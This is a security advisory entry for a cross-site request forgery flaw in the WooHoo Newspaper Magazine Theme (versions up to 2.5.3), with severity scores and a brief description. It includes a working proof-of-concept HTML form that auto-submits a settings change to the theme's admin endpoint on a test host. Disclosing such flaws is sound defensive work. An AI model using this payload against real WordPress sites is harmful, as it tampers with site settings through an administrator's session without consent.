WooHoo Newspaper Magazine Theme <= 2.5.3 - Settings Update via CSRF

2023-10-2700:00:00

Bob Matyas

csrf

woohoo newspaper

magazine theme

settings update

admin

html

page

plugin

toolbar options

title

exploit

7.2 High

AI Score

Confidence

Low

0.001 Low

EPSS

Percentile

24.3%

JSON

Description The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Make an admin open an HTML page with the following HTML:

```
<form action="https://wps-test.ddev.site/wp-admin/admin.php?page=mypanel&do=submit" method="POST"> 
    <input type="text" name="bdaia_t_title" value="CSRF Title"> 
</form>
<script> document.forms[0].submit(); </script>
```

See that the plugin's "Header Options > Toolbar Options > Title" has been updated to `CSRF Title`